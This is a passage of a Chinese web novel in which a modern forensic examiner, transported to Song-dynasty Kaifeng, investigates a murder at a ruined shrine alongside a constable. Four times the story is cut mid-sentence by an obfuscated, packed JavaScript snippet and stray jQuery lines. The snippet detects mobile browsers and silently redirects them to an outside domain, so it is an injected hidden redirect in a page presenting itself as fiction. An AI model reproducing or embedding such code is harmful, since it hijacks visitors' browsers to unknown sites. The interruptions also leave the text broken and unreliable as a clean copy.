疑,看到尸体时吓的屁滚尿流,这样的人会在中元节的夜晚出去垂钓吗?”
“第二,他对时间的表述十分精准,在狂风暴雨还没有钟表的情景之下,能如此精确的记住时间,就像是为了表明时间而刻意设计的。”
甲丁:“钟表是什么?”
宋连连忙转移话题:“不重要,重要的是第三,他的证词看似都在大庭广众之下,有众人可以为他作证,但仔细想来,除了最后回家是真正有邻居看到,其余时间都没有确切的证人可以作证。在汴河旁垂钓,谁能证明?在棚屋避雨,谁看到了?”
宋连最后总结:“这个人有一大堆‘不在场证明’,却都不能成立。据统计,有19%的杀人凶手作案后会再次回到犯罪现场欣赏自己的‘杰作’,他在人群中大肆散步妖魔鬼怪的传言,就是要转移注意力洗脱自己的嫌疑。”
总之,型男嫌疑最大,应该立即审讯。
傅大人听他这一通流畅的推理,表情狐疑,眼神十分陌生。
眼看天色暗下去,如果那人真的是凶手,难说现在是不是已经准备好跑路了,说不定已经出城了。
时不我待,这大人怎么还有空发呆呢!
宋连提醒:“傅局,不是,傅总,呃,傅大人,要赶紧行动起来了!”
傅大人回过神,立即下令:捉拿嫌犯!
04
热闹了一整天,突然安静下来,宋连才有空感觉到疲惫。
眼前是一叠衣服,是傅濂觉得他衣不蔽体有伤风化,特意给他找了一身新的。
可他拿着几件衣服裤子犯了难——服装忒复杂,不会穿。
没吃过猪肉总见过猪跑,宋连回忆了一下自己看过的古装剧,大概就是白色的衣服穿在里面,带颜色的套在外面,对襟一裹再一系。
凑合一下,遮挡严实就行。
自己那身破衣烂衫也不舍得丢,毕竟那是他和现代文明唯一的连接。
黄昏最后一缕光线落下地平线的时候,甲丁押着一个男子回到了府衙。
正是现场被吓尿了的型男,裤子到现在都没来得及换。
这样胆小的一个人,真的能残忍的杀人毁尸,还能精心设计出这么详尽的口供吗?
宋连也有些疑惑了。
但这男人很快就招供了:“人应该是我杀的……”
“什么叫‘应该’?”
男人撇撇嘴,似是在极力忍耐,却最终没能忍下来,大嚎道:“我是被青面獠牙罗刹女夺舍了!我看到她了!她看着我……然后我就没了知觉!等醒来的时候已经在家中了!我真的什么都不记得了!”
怎么又是夺舍,这种人鬼情未了的事情在宋代这么常见的吗?!
11. 06 致富十年功,诈骗一场空!
01
怂胆型男名叫元英才,是个文化人。寒窗苦读十数载,考公两三回,连个举人都没中,只有个秀才学历。
借着近几年太学兴起的风潮,遍地都是私立教培机构,元英才便在一家私塾当个教书先生混口饭吃。
死者名叫卫灵秀,自称是翰林院大学士的某个小妾。
接下来的故事就十分套路了:穷书生遇到了美艳娇娘,卫灵秀出手阔绰成为元英才的榜一大姐。在眼花缭乱的财色诱惑面前元英才迅速丧失了理智:翰林院大学士那是什么阶层,正三品的官!
想想自己考公十年榜上无名,元英才突然心有一计:卫灵秀或许就是他打开仕途之门的敲门砖!
元英才到底肚子里有点墨水,又天生一副好口才,哄得卫灵秀五迷三道,kuku往他身上砸银子。他也不乱花,都买了卫灵秀喜欢的脂粉珠宝,让卫灵秀对他更加死心塌地。
元英才很懂得循序渐进,并没有狮子大开口,先提了一些小事,请卫灵秀“家里那位”动动手指帮他办了。没想到过了段时间,竟然真的“一一应验”。
卫灵秀当然不傻,也知道元英才心里的盘算,主动提出给她些时间,她虽然深得大学士宠爱,但毕竟是个妾室,况且官场上的事情本就不便参与。她只能通过不断吹枕旁风一点点试探。
卫灵秀话说的真诚又实在,元英才不疑有他,更是对她百般顺从,不知不觉就从“被包养”变成了“包养”。
半年之后,元英才无力承担日常开销时才逐渐发现了问题,他粗略算了笔账,自己在卫灵秀身上的花销竟然将近百万,而自己的入仕梦连个边儿都没摸到!
03
元英才一旦警觉,卫灵秀的更多纰漏就显现了出来。
他再也没了耐心,逼问卫灵秀究竟几成把握能帮他入仕。卫灵秀称她家老爷刚升职进入枢密院,成为宰执团队要员。
“官场如战场,初来乍到必先站稳自己的脚跟,需得假以时日。”
可元英才没耐心也没信心,称自己在她身上花了那么多银钱,要是事情办不成,他就去开封府击鼓鸣冤,要把这大学士告上御史台!
卫灵秀也知道自己的拖延术不顶用了,一改往日娇滴滴柔弱的样子,竟然反过来威胁起了元英才。
一来以仕途要挟,称耳旁风刚刚起了作用,但需要等待时机,来年的制科考试是最好的机会,倘若他现在冲动,这辈子前程就完了;二来以人生自由要挟,按照《宋刑统》,与人妇私通可是要掉脑袋的!
这两样偏偏都点在了元英才的死穴,让他不得不耐下性子继续等待。
但卫灵秀却发生了变化。她不再频繁约见元英才,从间隔半月到一个月也没有一点音讯。
元英才一开始以为是自己急功近利伤了卫灵秀的心,让她对自己疏远了,还一度心伤难抑,去酒楼买醉。
结果却偶然看见了卫灵秀搂着一个陌生男子走出包间。
04
元英才托遍了自己的关系,把翰林院和枢密使能打听到的八卦小道都打听了一遍,也没打听出卫灵秀说的那位“老爷”。
倒是从酒楼老板那里打听出了卫灵秀的一些消息。
她自称高官妾室,出手极为阔绰,偏爱书生文人,京城不知多少风流男子都曾拜倒在她石榴裙下。
不但有元英才这样的秀才,更有诸多腰缠万贯的富家纨绔;不仅奔着卫灵秀的样貌,更奔着她的阶层。
可说到她家那位老爷,则是众说纷纭,问一百个人就能有一百个不同的名字。
可翰林院总共也没有一百人。
这下元英才确定自己被骗了!
但消失许久的卫灵秀却主动给他递了话,称自己最近跟着“老爷”赴宴,发现了一处新开的酒家,味道甚好,周边还有一些稀奇玩意儿的铺子,想请元英才同往。
元英才知道卫灵秀这是要找他买单,本欲拒绝,但又气不过这些日子被她骗了身子又骗财!于是佯装不明所以,欣然答应。
二人吃喝玩乐好不逍遥,付款时卫灵秀推诿几下果然不争了,元英才摸摸衣袋懊恼道自己钱袋不知何时被贼摸走了。
这通花销不是小数,卫灵秀掏钱的时候嘴角都在颤抖,这些元英才都看在眼里,在心里暗暗发笑。
那一刻他打了主意:不能和卫灵秀分手!要把花给她的钱财通通讨回来!就算讨要不来,也要吃吃喝喝享受回来!
元英才又变回了百依百顺的舔狗,可卫灵秀却全然没了兴致。
二人行至半路突降电闪雷鸣,情急之下躲进地渊祠……
05
元英才舔了舔干涸的嘴唇,说:“我清醒之前就只记得这些了……”
众人都在沉默,原本是没人相信的,但有宋检法案例在先,昨天这中元节属实有些不寻常……
就连宋连本人也不敢肯定他说的都是假话。“罗刹女是怎么回事?”他继续问询。
元英才眼神变得空洞起来,深吸一口气,颤抖着说:“我与卫灵秀在石像后行苟且事……正到兴头时她突然尖叫起来,我顺着她惊恐的目光看上去……一个……一个面容枯槁、青面獠牙的……魔鬼……就趴在石像头顶这样盯着我们看!我一下子就软了下去,卫灵秀尖叫着推搡抓挠,嘴里念叨着冲撞了神仙遭了报应之类的。就在那时,我突然感到一阵前所未有的烦躁,心头有一股邪火莫名窜了上来,脑子里全是卫灵秀尖锐的嘲讽、她骗我时的得意。于是我就……”
元英才双手捂脸,呜呜地哭了起来:“等我回过神来,已经浑身湿透坐在家中……”
甲丁上前撸起他的袖子,满是抓痕,一道一道,刚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748788|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
结了痂。又扒开他的衣领,也有几道黑紫的挠痕。膝盖跪在纸上的墨印与死者胸口的形状也吻合。
元英才抬起汪汪泪眼,祈求一般问道:“我……我该怎么办!”
事已至此,还能怎么办呢。
宋连叹口气:“不听不信不转账,下载国家反诈APP。”
06
事实清晰,证据确凿,嫌疑人对犯罪行为供认不讳,从案发到结案不超过十二时辰。
傅大人对此十分满意,松了口气的同时又憋了口气……
宋连顺利破案,就能保住性命;但这超强工作效率也正好说明了他确实被夺舍了。
真·里外不是人。
而经过了这一整天,宋连从同事们的态度中也猜到了,那个真正的“宋检法”八成是个能力平平、无所建树的讨人嫌角色。而自己在过去24小时里的表现于这位前身的人设大相径庭,要不是有“夺舍”传言打掩护,他早就暴露无疑。
看来以后还得收敛着点儿!
正想着,门外传来一阵嚎叫谩骂,正是元英才。
此时的元英才一改刚才唯唯诺诺的样子,他双眼通红,呲目欲裂,上下牙紧紧咬合使得面部肌肉扭曲抖动。
元英才高声叫嚣着要宋连等着,他一定会杀他全家,又嚷嚷着“元老三不得好死!”
此时的元英才,既不像地渊祠门口那个出口成章如若悬河的说书先生,也不像开封府中低头认罪悔恨流泪的柔弱书生,而是一头凶猛的野兽、一个杀意自全身每个毛孔迸发的嗜血残暴怪物。
07
元英才真的变成了一头怪物,长着人的模样,却完全丧失了人的神识。
这头怪物力大无穷,轻易便挣脱了两个衙吏的押解,直冲傅濂和宋连奔跑而去,好在更多衙吏及时上前拦住了他,但十几人的压制竟然抵不过元英才的一通乱拳,衙吏纷纷被打倒在地,元英才浑身是伤,却像是感觉不到,继续冲宋连奔去。
宋连觉得自己浑身血液都要逆流,汗毛登时炸了起来,有那么一瞬间他仍旧心存侥幸,或许挨上这怪物致命一击,他就能穿回去了呢?
“轰——!”巨大的冲撞声响起,宋连觉得天地仿佛都震动了一下。
预期的疼痛没有到达,他什么都没感觉到。
宋连睁开眼,看到那怪物元英才跪倒在地,痛苦哀嚎,左胳膊被甲丁反折向身后,恐怕是脱臼了,跪地那条腿的小腿胫骨被甲丁踩在脚下,半月板应该也废了。
他惊讶地看向甲丁,对方似乎并没有意识到自己刚凭借一己之力制服了一个什么样的怪兽。此刻正扭着元英才的胳膊腿喊话:“你这狡猾阴险的歹毒书生!给你甲丁爷爷老实点儿!”
宋连突然觉得,今日早些时候,甲丁对付他的时候,对他确实已经算1000%的温柔了……
12. 07 除了道歉求饶,还有死路一条
01
元英才这么一闹,原本要结的案子疑点又多了。
元老三是谁,罗刹女又是怎么回事?
如果说罗刹女是元英才丧失理智的情况下感受到的某种意向,那就一定有一个投射的对象。
莫非……当时在案发现场还有第三个人存在?
宋连又想起了那个白影。千头万绪全都汇集在那个破祠堂里,他必须找机会再回去一趟!
02
梆子敲了十下,打更人的灯笼变成一个小小的光点,一上一下跳动着消失在漆黑之中。
荒废很久的地渊祠白天因为命案短暂的热闹过之后,现在又归于死寂。
夜鸮在树杈上呜哇呜哇,警觉地转头270度环视周围一圈,好像发觉了什么危险,扑着翅膀飞走了。
破败的院门打开了四、五十公分,一个黑影显现在浓稠的夜色中,流动进了古刹。
四下万籁俱静,偶有草木发出的细微“噼啪”声,似是被什么东西踩断。
黑影在夜色的掩护下直走向大殿。风穿过破窗框发出极轻的“呜呜”声。大殿内伸手不见五指,就连那巨大石像也隐没在黑暗中辨别不出位置。
黑影停顿片刻,感受周围的异动。
一股微弱的血腥味随着气流传来,血液是新鲜的。果然,在某处黑暗的角落里传来啃咬撕裂的声音。
有什么东西正在进食。
被啃咬的东西显然还没有完全断气,发出微弱的呜咽哀鸣,与窜动的风声和鸣在一起,时弱时无在大殿内缭绕。
突然,一道白影一晃而过,鬼魅一般消失在角落。
黑影立等片刻,呜咽的哀鸣停止了,草木又被什么踩过,噼啪折断。
黑影跟随血腥味又向黑暗深处走了几步,再次停住,然后往另个方向移动。
03
现在,什么声音都没有了,连轻微的风声也停止了。
黑影掠过供台,继续向前,划了一个弧度,绕到了石像的身后。
黑暗深处,一抹白色影子与黑影相隔七八米远,相对而立。
只须臾间,白影突然动了起来,以极快的速度向黑影冲过来,带起一阵风动。
但黑影一动不动。
白影近在咫尺,移动过快形成一道残影,伸出手臂似是要掐住黑影,黑影微微躲闪,抓住白影,摸到五根细长惨白的手指,有些冰凉,那白影的手臂似蛇般滑动,缠绕住黑影的脖颈。
黑影则顺着那条手臂精准找到了桡骨肱骨锁骨肩胛骨颈骨胸骨肋骨髋骨坐骨尾骨耻骨,即将摸到大腿骨的时候,那白影霎时松开了手臂,挡开了黑影的手。
“想不到你还有这等癖好。”一个熟悉的声音自黑影头顶落下。
“别说的那么难听,这叫职业病。”黑影回答。
“那么请问,宋检法检出什么了?”白影又问。
“问题不少,”宋连说,“手脚发凉,末梢供血不足,肤色惨白,是贫血症状。另外你心动过缓,就是你们常说的脉象虚浮,也是供血不足的原因之一,还有些心律不齐,等会儿,我听着怎么还有点早搏……你抽个时间去检查一下心血管……哦不行,现在还检查不了……”
宋连小声唠叨了一大堆,最后做了总结性诊断:“好好吃饭,营养均衡,早睡早起别熬夜。”
白影愣了一下,像是笑了。
“你到底是谁,为什么在案发现场,和这宗命案有什么关联?”宋连一口气夺命连环问。
“你约我来此,我来了。看到一具倒吊的尸体和昏迷不醒的你。”
04
白影一句话又让宋连大脑宕机。
他约这白影在案发现场见面?他什么时候约的?为什么要约?等一下,他醒来的时候白影已经在了,也就是说……邀约白影的不是他,而是那个真正的宋检法?
白影又将一张纸递到宋连面前。
“财神爷,为什么每次见面都要给我钱?”宋连心动但不敢行动。天上掉的馅饼八成有毒。
白影把纸往宋连面前怼了怼,一声响指,一道火光,宋连看清了,是一张字条,上书:
「五更寅卯地淵神社」
署名:「宋連」
是繁体,但不影响看懂,尤其署名那两个字。
宋连的第一想法是:这字写得可真漂亮!
面前这张纸被白影抖了抖,火光跟着消失了。“宋检法可是想起了一点?”
宋连摇头:“一定是夺舍之后被鬼删去了记忆!所以我约你来这,是要干啥?”
白影没回答,而是“嘘”了一声,狡黠道:“喜欢三更半夜逛破庙的,好像不止我俩呢!”
05
甲丁今天真是倒霉他妈给倒霉开门——倒霉到家了!
回顾这一整天的经历……不,他一点都不想回顾。好不容易挨到了下班,又被傅大人安排加班——跟踪监视宋连。
宋连宋连又是宋连!以前是不想看他,现在是不敢看他,可又偏偏绕不开他!
什么左膀右臂!他宁愿去大牢盯梢那元英才,也不愿意和宋连再有半分瓜葛!
可傅大人却非他不可,这么抠门一老头,竟然不惜以赏金诱惑他!这谁能拒绝的了!
茶不苦,心不堵,忍忍再挣两千五!
原以为这宋检法(夺舍版)忙活一天了,肯定会在下班的第一时间冲回家蒙头睡觉,没想到这厮被鬼上身之后好像真跟鬼成一伙了!
大半夜为什么还要往这阴森恐怖的破庙跑!
甲丁在门口踌躇了好久,才鼓足勇气进了废院。刚一进门就碰上了一只野狐狸,两边都被对方吓个半死,甲丁的嚎叫声已经挤出了嗓子眼儿,又生生被他咽了回去。
但那狐狸就无
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748789|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
所顾忌了,龇牙咧嘴一通,像受了天大的委屈,耷拉着耳朵呜咽呜咽哀鸣着跑走了。
甲丁用手捂嘴,悄摸深呼吸了一个来回,才又迈出脚步。
“咔嚓——”他踩到了什么东西上,鞋底触感既黏糊糊又脆生生。他缓缓低头一看,一堆白花花的东西,上面还粘连着暗红还是黑红的……是骨肉相连的尸骸!
甲丁又想嚎叫,只得自己掐住自己的脖子,强行逼迫自己看仔细些。原来是老鼠的骸骨……想必是刚才那只狐狸的美食。
这么说来,他打扰了狐狸用餐,难怪那狐狸又气又委屈……
“哗啦——”有响动从漆黑的大殿里传来,好像还窜过一道鬼火……
甲丁打起十二万分精神,紧紧攥着拳头一狠心一咬牙一闭眼一跺脚,推开了大殿的破门,再睁眼时,面前站着一黑一白两道影子。
06
“黑白无常两位大人!我视力不佳,基本是瞎!若是冲撞了两位阴差大人,甲丁在此给二位磕响头赔不是,日后天天给二位上香烧纸!还求两位大人饶我一命!我也是被迫无奈才干这苦差事!黑白无常大人有大量,莫要跟我这小吏过不去,冤有头债有主,要怪都怪宋检法!是他非要闯进两位的宝地……”
甲丁双眼紧闭念咒一样叽里呱啦说了一通,心想完蛋了完蛋了,除了道歉求饶,还有死路一条。
说了半天,对方也没点反应,甲丁这才壮胆将眼睛睁开一条缝儿,一双大眼睛直愣愣睁在他眼前,吓得他一个激灵向后趔趄半步一屁股摔在门槛上,疼的“嗷”一嗓子,惊跑了好几只夜行小动物。
“看你一招制服元英才的时候英姿飒爽,还以为你是个猛男,原来胆子这么小……”宋连伸手,要拉甲丁一把。
甲丁听了声音才反应过来刚才是被宋连戏弄了,顿时恐惧变成了气愤,一巴掌拍开了宋连的手,自己拍拍屁股站了起来。
“你刚说你被迫无奈干什么苦差事?”宋连没有放过重点,“跟踪我?”
甲丁支支吾吾,说傅大人就知道他贼心不死,怕再惹出祸端,才派他“暗中保护”。
宋连想笑又强忍,还暗中保护,就这二两胆,指不定谁保护谁。
07
说话间,一道亮光照来,撕开了这一团漆黑。供桌上的两盏油灯突然自燃起来,将祠堂再次照亮。
突如其来的光亮让甲丁陷入了更绝望的恐惧——刚才明明有个白影站在宋连旁边的,怎么突然不见了?这灯怎么自己亮了?刚才他隔老远看到的鬼火又是什么?
……
……
持续遭受惊吓的甲丁没有意识到,他脸上那个用来隔绝“晦气”的面巾不知什么时候松动掉落了。
灯光跳动,忽明忽暗,映照出宋连因为讶异而略微扭曲的表情。他盯着甲丁的脸仔细打量,不由得低声惊呼:“白……白队?!”
13. 08 案发现场,高潮迭起
01
老话说得好,人生有四喜:久旱逢甘露,他乡遇故知,洞房花烛夜,金榜题名时。
其他三个宋连没机会体验,但此时此刻,他深深感受到他乡遇故知的喜悦。况且这还不是一般的他乡。
“你也穿了?我就说你眼睛看着那么眼熟!”宋连一口气说了一大串,根本不给甲丁反应的时间。最后说到眼含泪花声音哽咽,说不下去了,就一把搂住甲丁。
甲丁吓得一个激灵,嘴里念着阿弥陀佛心里想的是这下完犊子了,这女鬼不会是看上自己要换个人夺舍了吧?
宋连还沉浸在遇见老熟人的激动之中,两只手臂越搂越紧,甲丁的身板就越绷越僵硬……
“咳咳!”甲丁使劲咳嗽,“宋、检法,神明在上,做如此不雅的事情实在……”
宋连松开甲丁,但认亲之心不死:“你什么时候来的?怎么不给我点暗示?是有什么难言之隐吗?”
甲丁一脸茫然:“我……穿了什么?”
暗号对不上,宋连犹豫了,他问甲丁:“你就没觉得我很眼熟?”
这说的什么话!大家共事了没有一年也有半载,何止眼熟,简直碍眼!
但甲丁害怕宋连身体里现在住着鬼,狠话是不敢说一点,只好老实回答:“你我同僚半载,怎会不熟……”
宋连这才冷静下来,眼前这人虽然和白队一模一样,但大概率不是白队。否则一整天下来,也不会一点反应都没有。
可世上竟会有如此巧合的事吗?长相一模一样也就罢了,还都属于一个公职系统……
“呔!大胆女鬼!”甲丁突然一跃而起,再次将宋连的手臂反剪到背后:“我虽不知你究竟拿宋检法如何了!但你若想占我的身子,我甲丁宁死不从!”
宋连想到他大战元英才的场面,觉得自己的手臂很快就压保不住了,他使出浑身解数,发出了猛男听到都要落泪的夹子音:“冷静,这副身子骨挺好的,适合养鬼,我不会轻易搬家的!”
甲丁“啊”地一声,猛然松手,一蹦好几米远:“半夜三更,你为何要来此地?”
“宋女鬼”:“我、我常回家看看……”
02
“元英才提到好几次,和卫灵秀在这里……苟且的时候,被青面獠牙的罗刹女附身丢失了神志,才失手杀了人。”宋连一边走,一边复盘元英才的供词。
“那个元英才确实奇怪!前后判若两人,有点鬼上身的症状……”甲丁一边说,一边还在警觉地防备宋连。
“附身”在“宋检法”身上的“女鬼”告诉他:此案还有诸多疑点,需要回到现场进一步核查,否则判了冤假错案有损阴德,见者有份,谁都别想好过。
甲丁现在是宁可信其有,不可信其无。心里一百个不情愿,也不得不配合宋连继续查下去。
“元英才的怪异举止先暂且搁置不说,他描述青面獠牙罗刹女时的神态和用词都十分具体。有细节,说明这不是他临时起意随便编造的,一定是现实中某个具体的东西在他意识中的投射,即便他以此编造撒谎转移自己的罪行,这个谎言也一定具有一个现实依据。”
甲丁觉得宋连在说绕口令,绕得他早就已经跟不上趟了。
他努力思考了一会儿,尝试理解:“所以你的意思是,他的确在这里看到了让他误以为,或者让他有了托词的东西?”
宋连点头。
说话间他们已经走到第一命案现场,也就是石像身后,二人不净行的地方。
白天他们在这里做过勘察,沾着干涸□□的蒲团还在原处,只是卫灵秀没来得及穿上的衣服已经被收拾带走了。
甲丁拿过油灯照了照地面,又照了照四周,问:“我们要怎么找?”
宋连还会下意识将他当做白队,拍拍他的肩膀:“老样子,重现案发过程!”
“重……什么玩意儿?”甲丁还懵逼着,就被宋连一把拽过蒲团边上。
“回忆一下元英才的口供,”宋连边说边拽着甲丁躺在垫子上,“卫灵秀当时头朝这个方向躺着,元英才这样跨坐……”
宋连刚要跨坐在甲丁身上,被甲丁大力一击,推到一边去。甲丁一个鲤鱼打挺翻身起来,气得脸都涨红了:“好你个女鬼!果然贼心不死!”
他呼哧带喘走到宋连跟前,盯着宋连看了几秒,突然抬手就要扇他巴掌。
03
“壮士不要冲动!”宋连眼疾手快,一边躲闪一边夹着嗓音解释:“这叫‘重现案发过程’,是现场勘验很重要的步骤!”
就是站在凶手的视角,用他的思维做他做过的行为,在这个过程中往往会发现重要线索,或摸清凶手的行事逻辑、思维方式。这是刑侦常用的重要手段。
宋连遗憾地看着那张白队模样的脸,想念起他的队友、他的徒弟……
宋连夹着嗓子说了一声,发现嗓子已经要破音了,于是换回自己原本的声音:“要么你试试从元英才角度出发,用他的思维找找线索?”
甲丁忙摆手:“我理解不了他,也理解不了你!”
宋连摊手:这不就得了!
甲丁鼻孔出气,哼了一声,嘟嘟囔囔躺在脏兮兮的蒲团上。
“你现在是卫灵秀了,元英才的口供说,是你先看到了什么,尖叫起来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748790|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
甲丁刚才还一万个不情愿,现在不自觉在宋连的引导下沿着卫灵秀的路径思考了起来。
卫灵秀当时看到了什么?甲丁看向宋连背对的黑暗,什么都看不到。
“这里有一盏油灯,应该是他们两人当时拿过来放在这里照明的。”宋连说着要去点灯,想起自己还不会用火硝。甲丁只好骂骂咧咧起身点燃了油灯。
但他们目之所及,仍然什么都看不见。
难道真的是元英才临时起意,瞎编了一套鬼话?
甲丁嘲讽宋连,“什么重现什么玩意儿的,装神弄鬼!”
04
“我与卫灵秀在石像后行苟且事……正到兴头时她突然尖叫起来,我顺着她惊恐的目光看上去……”
宋连喃喃,这是元英才当时所描述的原话。
他说“看上去”,而不是“转身看去”,为什么是看上去呢……
两人都在沉思,大殿里寂静无声。
“正到兴头!”宋连突然说,“正到兴头时,姿势应当是发生了变化的!人体会释放大量的多巴胺、内啡肽、肾上腺素,和很多激素。它们相互作用,导致盆底肌群和腹直肌、腰肌节律性收缩,通过脊髓反射影响身体其他部位,导致背部、腰部和颈部的肌肉也发生不自主的紧张和抬起。”
宋连说着,点了点甲丁的腰部,示意他抬起一点。
“脊髓反射弧会影响颈部和背部的斜方肌、竖脊肌,导致自然向后伸展。交感神经负责调节兴奋状态,促进肌肉收缩、心跳加快、血压升高,当它逐渐占主导地位时,会导致身体呈现类似‘战斗或逃跑’反应的生理状态,这可能促使身体自然弓起,以应对神经信号的激增。”
他又指了指甲丁的脖颈,示意他在平躺姿势中仰起头。
“脖颈后仰可能是身体的一种自然反应,以扩大胸腔,提高氧气摄入量,以适应身体高代谢状态。腰部的抬起也能促进骨盆区域的血液循环,共同作用与‘兴头’时刻。”
05
甲丁完全无法消化宋连这一大串“鬼话”,但也跟着他的指导做出了卫灵秀当时那一刻的动作。
就在那一瞬间,甲丁的表情发生了变化,原本不耐烦的脸一瞬间变成了极度的惊讶和疑惑。
宋连顺着甲丁仰着的目光,抬头向上看去。青灰色的石像被油灯的光笼上了一个清晰的轮廓,而在石像头顶的位置,趴着一个半人不人的怪东西。
一张青灰色枯槁的脸面向下方,皮肤布满龟裂的纹理,一双凹陷空洞的眼睛,正死死盯着他们二人。
深夜的地渊祠里再次传出撕心裂肺的惨叫。
14. 09 命只有一条,但要命的事不止一件
01
汴京城最近不太平。从中元节那天开始,怪异的事情就没有断过。
先是晴天霹雳,大雨如注;夜半时又有厉鬼夺人精舍,潜入宫中;第二日地渊祠惊现无名裸尸,披裹咒幡倒吊在地藏王像指间;隔夜罗刹女现身古刹,却被两个神秘人物当场降服……
卯时,天微亮起,热闹的夜市刚刚收摊,更热闹的早市准备出摊,汴京城里的说书先生就已经集体更新了《地渊祠诡案》的话本。蹭了一波又一波早高峰的流量。
说书人口中那两个神秘人物,此刻正聚集在开封府衙内,面对案上那具灰白的腊化尸体,眉头紧锁。
世上最糟糕的事,莫过于领导在上班路上听到了关于你的离奇传说;比这更糟糕的事是,他还真信了!
“所以,传言是真的?你们二人赤手空拳降服了青面獠牙罗刹女,把她……弄成了这幅样子?”
甲丁:“哼。”
宋连:“哈。”
哼哈二将被傅濂逼问了半小时,本就因为通宵熬夜而混乱的大脑,现在嗡嗡嗡地震个不停。
昨夜他们发现这具尸腊后,甲丁一度吓得昏死过去,他只能用大巴掌强行唤醒。
甲丁自然是不肯再去碰尸体的,但经不住宋连一顿夺舍言论,坑蒙恐吓,踹着甲丁和他一起爬上石像顶端。
这具尸体原本是被装在一个箱子里,刚好能藏在石像头冠的一处凹陷中,从下面是绝对不会发现它的。
但尸体腊化产生了气味,吸引了狐狸野狗之类前去抢食,被拖出了箱子。
幸运的是,顶上空间狭小,不利于动物们协同作战,堪堪将那尸腊拖出一半身体,就无法继续。
尸腊坚硬口感不好,石像太高又很危险,动物们放弃了这个“猎物”,于是尸体得以较好的保存下来。
夜晚光线昏暗,现场又不具备尸检条件,两人只能雇人将尸腊运回开封府衙。
这次找的还是运卫灵秀尸体的那个专车司机。
俗话说一回生,二回熟。车夫见了宋连就知道金主来了!不等两人开口就笑呵呵应了下来。
后来他们才明白过来,这专车司机心里还打着另一个算盘:他是运尸人,是故事的第一见证者,添油加醋瞎编一气,卖给小报记者和说书先生,又是两笔额外的收益。
于是清早十分,汴京城已经传开了《地渊祠诡案之罗刹女现身》。
这些都还不算什么,毕竟话本里也没有指名道姓曝光他们俩的隐私。
但让宋连极为不爽的是,话本中甲丁是武力神,力大无比,骁勇善战;可自己的形象竟然是个手持铁斧的活阎王!
算了算了,宋连安慰自己,今天不开心也没关系,反正明天也不会好过。
02
傅濂一挥手,屏退了其他闲散人等,“解剖室”里只剩下他们三人和一具尸体。
“我已向司天监掌事李士宁大人告知了你如今的情况,我看你也是良家好鬼,并无扰乱朝政之祸,并且……你现在法力无边,得非常之学识,是我大宋栋梁之材!”
傅濂踌躇一番,支吾说道:“我有一位故交小友,天资卓越,道法了得,可谓年轻有为。我想让你与他见上一见。”傅濂两眼清澈看着宋连,“虽然夺舍你的可能是个好鬼,但人鬼共用一副身体,难保肉身不被阴气腐化……”
前有老局长热衷做月老,今有傅大人带头搞迷信。宋连觉得自己的职场生涯可以上天可以入地但就是不在人间。
傅大人像保险销售一样滔滔不绝推荐他的术士小友,好像今天如果不答应明天宋连就要魂飞魄散。
甲丁在一旁都要听不下去:“宋检法你最好答应见一见,我怕下回三带一带的就是你……”
老领导一把年纪还要操心自己身体问题——尽管压根没有问题——还要找名医陪诊——还这么可怜巴巴求答应。
宋连实在不忍心说不,主要是拿不准忤逆领导会不会被革职。
“等案子结束,我就去拜访……”
“不用等!他人已经来了!”傅濂一脸喜洋洋,冲着门外喊了声:“李公子,请进!”
03
白玉簪束着发髻、身穿白色圆领宽袖襕衫、领口袖口沿边的暗纹绣样翻出昂贵的缎面……
“宋检法,这就是我的故交小友,李士卿。李公子,这位就是我说的那位检法官,宋连。”
白衣人起身,比宋连高出5、6公分,面露微笑:“宋检法,久闻大名。”
没等宋连
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748791|174233||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开口,甲丁先“啊!”地叫了一声,随即从衣襟里掏出宋连画的那幅画像,比对着看了好几遍。
“白、白无常?!”
宋连立刻捂住甲丁的嘴:“说什么呢!这位公子虽然穿着白衣但他实际姓‘金’。”
甲丁一脸懵:“不是李公子吗?”
宋连呵呵:“号‘金主爸爸’!”
